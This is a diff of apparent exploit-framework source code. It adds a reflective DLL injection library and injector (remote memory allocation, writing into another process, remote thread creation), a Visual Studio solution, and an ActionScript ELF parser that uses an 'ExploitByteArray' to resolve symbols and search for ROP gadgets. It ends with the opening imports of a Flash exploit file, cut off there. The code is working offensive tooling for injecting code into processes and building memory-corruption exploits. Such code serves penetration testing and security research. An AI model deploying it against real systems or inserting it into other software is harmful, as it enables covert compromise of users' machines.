AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
|
||||||
|
|
||||||
|
CloseHandle( hToken );
|
||||||
|
}
|
||||||
|
|
||||||
|
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
|
||||||
|
if( !hProcess )
|
||||||
|
BREAK_WITH_ERROR( "Failed to open the target process" );
|
||||||
|
|
||||||
|
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
|
||||||
|
if( !hModule )
|
||||||
|
BREAK_WITH_ERROR( "Failed to inject the DLL" );
|
||||||
|
|
||||||
|
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
|
||||||
|
|
||||||
|
WaitForSingleObject( hModule, -1 );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
if( lpBuffer )
|
||||||
|
HeapFree( GetProcessHeap(), 0, lpBuffer );
|
||||||
|
|
||||||
|
if( hProcess )
|
||||||
|
CloseHandle( hProcess );
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
|
@ -0,0 +1,233 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "LoadLibraryR.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress )
|
||||||
|
{
|
||||||
|
WORD wIndex = 0;
|
||||||
|
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
|
||||||
|
PIMAGE_NT_HEADERS pNtHeaders = NULL;
|
||||||
|
|
||||||
|
pNtHeaders = (PIMAGE_NT_HEADERS)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew);
|
||||||
|
|
||||||
|
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
if( dwRva < pSectionHeader[0].PointerToRawData )
|
||||||
|
return dwRva;
|
||||||
|
|
||||||
|
for( wIndex=0 ; wIndex < pNtHeaders->FileHeader.NumberOfSections ; wIndex++ )
|
||||||
|
{
|
||||||
|
if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) )
|
||||||
|
return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData );
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer )
|
||||||
|
{
|
||||||
|
UINT_PTR uiBaseAddress = 0;
|
||||||
|
UINT_PTR uiExportDir = 0;
|
||||||
|
UINT_PTR uiNameArray = 0;
|
||||||
|
UINT_PTR uiAddressArray = 0;
|
||||||
|
UINT_PTR uiNameOrdinals = 0;
|
||||||
|
DWORD dwCounter = 0;
|
||||||
|
#ifdef _WIN64
|
||||||
|
DWORD dwMeterpreterArch = 2;
|
||||||
|
#else
|
||||||
|
// This will catch Win32 and WinRT.
|
||||||
|
DWORD dwMeterpreterArch = 1;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
|
||||||
|
|
||||||
|
// get the File Offset of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// currenlty we can only process a PE file which is the same type as the one this fuction has
|
||||||
|
// been compiled as, due to various offset in the PE structures being defined at compile time.
|
||||||
|
if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B ) // PE32
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch != 1 )
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else if( ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B ) // PE64
|
||||||
|
{
|
||||||
|
if( dwMeterpreterArch != 2 )
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (UINT_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
|
||||||
|
|
||||||
|
// get the File Offset of the export directory
|
||||||
|
uiExportDir = uiBaseAddress + Rva2Offset( ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of name pointers
|
||||||
|
uiNameArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of addresses
|
||||||
|
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||||
|
|
||||||
|
// get the File Offset for the array of name ordinals
|
||||||
|
uiNameOrdinals = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals, uiBaseAddress );
|
||||||
|
|
||||||
|
// get a counter for the number of exported functions...
|
||||||
|
dwCounter = ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->NumberOfNames;
|
||||||
|
|
||||||
|
// loop through all the exported functions to find the ReflectiveLoader
|
||||||
|
while( dwCounter-- )
|
||||||
|
{
|
||||||
|
char * cpExportedFunctionName = (char *)(uiBaseAddress + Rva2Offset( DEREF_32( uiNameArray ), uiBaseAddress ));
|
||||||
|
|
||||||
|
if( strstr( cpExportedFunctionName, "ReflectiveLoader" ) != NULL )
|
||||||
|
{
|
||||||
|
// get the File Offset for the array of addresses
|
||||||
|
uiAddressArray = uiBaseAddress + Rva2Offset( ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions, uiBaseAddress );
|
||||||
|
|
||||||
|
// use the functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) );
|
||||||
|
|
||||||
|
// return the File Offset to the ReflectiveLoader() functions code...
|
||||||
|
return Rva2Offset( DEREF_32( uiAddressArray ), uiBaseAddress );
|
||||||
|
}
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
// Loads a DLL image from memory via its exported ReflectiveLoader function
|
||||||
|
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength )
|
||||||
|
{
|
||||||
|
HMODULE hResult = NULL;
|
||||||
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
DWORD dwOldProtect1 = 0;
|
||||||
|
DWORD dwOldProtect2 = 0;
|
||||||
|
REFLECTIVELOADER pReflectiveLoader = NULL;
|
||||||
|
DLLMAIN pDllMain = NULL;
|
||||||
|
|
||||||
|
if( lpBuffer == NULL || dwLength == 0 )
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
// check if the library has a ReflectiveLoader...
|
||||||
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||||
|
if( dwReflectiveLoaderOffset != 0 )
|
||||||
|
{
|
||||||
|
pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset);
|
||||||
|
|
||||||
|
// we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader...
|
||||||
|
// this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region
|
||||||
|
if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) )
|
||||||
|
{
|
||||||
|
// call the librarys ReflectiveLoader...
|
||||||
|
pDllMain = (DLLMAIN)pReflectiveLoader();
|
||||||
|
if( pDllMain != NULL )
|
||||||
|
{
|
||||||
|
// call the loaded librarys DllMain to get its HMODULE
|
||||||
|
// Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only.
|
||||||
|
if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) )
|
||||||
|
hResult = NULL;
|
||||||
|
}
|
||||||
|
// revert to the previous protection flags...
|
||||||
|
VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 );
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
hResult = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hResult;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
||||||
|
// Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function
|
||||||
|
// Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
// defined in order to use the correct RDI prototypes.
|
||||||
|
// Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |
|
||||||
|
// PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ
|
||||||
|
// Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space.
|
||||||
|
// Note: This function currently cant inject accross architectures, but only to architectures which are the
|
||||||
|
// same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64.
|
||||||
|
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter )
|
||||||
|
{
|
||||||
|
LPVOID lpRemoteLibraryBuffer = NULL;
|
||||||
|
LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL;
|
||||||
|
HANDLE hThread = NULL;
|
||||||
|
DWORD dwReflectiveLoaderOffset = 0;
|
||||||
|
DWORD dwThreadId = 0;
|
||||||
|
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
do
|
||||||
|
{
|
||||||
|
if( !hProcess || !lpBuffer || !dwLength )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// check if the library has a ReflectiveLoader...
|
||||||
|
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
|
||||||
|
if( !dwReflectiveLoaderOffset )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// alloc memory (RWX) in the host process for the image...
|
||||||
|
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
|
||||||
|
if( !lpRemoteLibraryBuffer )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// write the image into the host process...
|
||||||
|
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
|
||||||
|
break;
|
||||||
|
|
||||||
|
// add the offset to ReflectiveLoader() to the remote library address...
|
||||||
|
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
|
||||||
|
|
||||||
|
// create a remote thread in the host process to call the ReflectiveLoader!
|
||||||
|
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
|
||||||
|
|
||||||
|
} while( 0 );
|
||||||
|
|
||||||
|
}
|
||||||
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
||||||
|
{
|
||||||
|
hThread = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
return hThread;
|
||||||
|
}
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,41 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveDLLInjection.h"
|
||||||
|
|
||||||
|
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||||
|
|
||||||
|
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||||
|
|
||||||
|
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
|
@ -0,0 +1,44 @@
|
||||||
|
|
||||||
|
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||||
|
# Visual Studio Express 2013 for Windows Desktop
|
||||||
|
VisualStudioVersion = 12.0.21005.1
|
||||||
|
MinimumVisualStudioVersion = 10.0.40219.1
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}"
|
||||||
|
EndProject
|
||||||
|
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}"
|
||||||
|
EndProject
|
||||||
|
Global
|
||||||
|
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||||
|
Debug|ARM = Debug|ARM
|
||||||
|
Debug|Win32 = Debug|Win32
|
||||||
|
Debug|x64 = Debug|x64
|
||||||
|
Release|ARM = Release|ARM
|
||||||
|
Release|Win32 = Release|Win32
|
||||||
|
Release|x64 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Debug|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Release|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Release|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Release|x64
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Release|x64
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Debug|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64
|
||||||
|
{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64
|
||||||
|
EndGlobalSection
|
||||||
|
GlobalSection(SolutionProperties) = preSolution
|
||||||
|
HideSolutionNode = FALSE
|
||||||
|
EndGlobalSection
|
||||||
|
EndGlobal
|
|
@ -0,0 +1,235 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
public class Elf
|
||||||
|
{
|
||||||
|
private const PT_DYNAMIC:uint = 2
|
||||||
|
private const PT_LOAD:uint = 1
|
||||||
|
private const PT_READ_EXEC:uint = 5
|
||||||
|
private const DT_SYMTAB:uint = 6
|
||||||
|
private const DT_STRTAB:uint = 5
|
||||||
|
private const DT_PLTGOT:uint = 3
|
||||||
|
|
||||||
|
private var e_ba:ExploitByteArray
|
||||||
|
// elf base address
|
||||||
|
public var base:uint = 0
|
||||||
|
// program header address
|
||||||
|
public var ph:uint = 0
|
||||||
|
// number of program headers
|
||||||
|
public var ph_size:uint = 0
|
||||||
|
// program header entry size
|
||||||
|
public var ph_esize:uint = 0
|
||||||
|
// DYNAMIC segment address
|
||||||
|
public var seg_dynamic:uint = 0
|
||||||
|
// DYNAMIC segment size
|
||||||
|
public var seg_dynamic_size:uint = 0
|
||||||
|
// CODE segment address
|
||||||
|
public var seg_exec:uint = 0
|
||||||
|
// CODE segment size
|
||||||
|
public var seg_exec_size:uint = 0
|
||||||
|
// .dynsyn section address
|
||||||
|
public var sec_dynsym:uint = 0
|
||||||
|
// .synstr section address
|
||||||
|
public var sec_dynstr:uint = 0
|
||||||
|
// .got.plt section address
|
||||||
|
public var sec_got_plt:uint = 0
|
||||||
|
|
||||||
|
public function Elf(ba:ExploitByteArray, addr:uint)
|
||||||
|
{
|
||||||
|
e_ba = ba
|
||||||
|
set_base(addr)
|
||||||
|
set_program_header()
|
||||||
|
set_program_header_size()
|
||||||
|
set_program_header_entry_size()
|
||||||
|
set_dynamic_segment()
|
||||||
|
set_exec_segment()
|
||||||
|
set_dynsym()
|
||||||
|
set_dynstr()
|
||||||
|
set_got_plt()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function external_symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
var got_plt_index:uint = 0
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
|
||||||
|
}
|
||||||
|
if (st_info != 0x11) {
|
||||||
|
got_plt_index++
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
public function symbol(name:String):uint {
|
||||||
|
var entry:uint = 0
|
||||||
|
var st_name:uint = 0
|
||||||
|
var st_value:uint = 0
|
||||||
|
var st_size:uint = 0
|
||||||
|
var st_info:uint = 0
|
||||||
|
var st_other:uint = 0
|
||||||
|
var st_shndx:uint = 0
|
||||||
|
var st_string:String = ""
|
||||||
|
|
||||||
|
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
|
||||||
|
entry = sec_dynsym + 0x10 + (i * 0x10)
|
||||||
|
st_name = e_ba.read(entry)
|
||||||
|
st_value = e_ba.read(entry + 4)
|
||||||
|
st_info = e_ba.read(entry + 0xc, "byte")
|
||||||
|
st_string = e_ba.read_string(sec_dynstr + st_name)
|
||||||
|
if (st_string == name) {
|
||||||
|
return base + st_value
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public function gadget(gadget:String, hint:uint):uint
|
||||||
|
{
|
||||||
|
var value:uint = parseInt(gadget, 16)
|
||||||
|
var contents:uint = 0
|
||||||
|
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
|
||||||
|
contents = e_ba.read(seg_exec + i)
|
||||||
|
if (hint == 0xffffffff && value == contents) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
if (hint != 0xffffffff && value == (contents & hint)) {
|
||||||
|
return seg_exec + i
|
||||||
|
}
|
||||||
|
}
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_base(addr:uint):void
|
||||||
|
{
|
||||||
|
addr &= 0xffff0000
|
||||||
|
while (true) {
|
||||||
|
if (e_ba.read(addr) == 0x464c457f) {
|
||||||
|
base = addr
|
||||||
|
return
|
||||||
|
}
|
||||||
|
addr -= 0x1000
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header():void
|
||||||
|
{
|
||||||
|
ph = base + e_ba.read(base + 0x1c)
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_size():void
|
||||||
|
{
|
||||||
|
ph_size = e_ba.read(base + 0x2c, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_program_header_entry_size():void
|
||||||
|
{
|
||||||
|
ph_esize = e_ba.read(base + 0x2a, "word")
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynamic_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
if (p_type == PT_DYNAMIC) {
|
||||||
|
seg_dynamic = base + e_ba.read(entry + 8)
|
||||||
|
seg_dynamic_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_exec_segment():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var p_type:uint = 0
|
||||||
|
var p_flags:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < ph_size; i++) {
|
||||||
|
entry = ph + (i * ph_esize)
|
||||||
|
p_type = e_ba.read(entry)
|
||||||
|
p_flags = e_ba.read(entry + 0x18)
|
||||||
|
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
|
||||||
|
seg_exec = base + e_ba.read(entry + 8)
|
||||||
|
seg_exec_size = e_ba.read(entry + 0x14)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynsym():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_SYMTAB) {
|
||||||
|
sec_dynsym = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_dynstr():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_STRTAB) {
|
||||||
|
sec_dynstr = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
|
||||||
|
private function set_got_plt():void
|
||||||
|
{
|
||||||
|
var entry:uint = 0
|
||||||
|
var s_type:uint = 0
|
||||||
|
|
||||||
|
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
|
||||||
|
entry = seg_dynamic + i
|
||||||
|
s_type = e_ba.read(entry)
|
||||||
|
if (s_type == DT_PLTGOT) {
|
||||||
|
sec_got_plt = e_ba.read(entry + 4)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
throw new Error()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -0,0 +1,114 @@
|
||||||
|
package
|
||||||
|
{
|
||||||
|
import flash.display.Sprite
|
||||||
|
import flash.events.Event
|
||||||
|
import flash.events.NetStatusEvent
|
||||||
|
import flash.events.AsyncErrorEvent
|
||||||
|
import flash.media.Video
|
||||||
|
import flash.net.NetConnection
|
||||||
|
import flash.net.NetStream
|
||||||
|
import flash.utils.getTimer
|
||||||
|
import flash.utils.ByteArray
|
||||||
|
import mx.utils.Base64Decoder
|
||||||
|
import flash.display.LoaderInfo
|
||||||
|
|
||||||
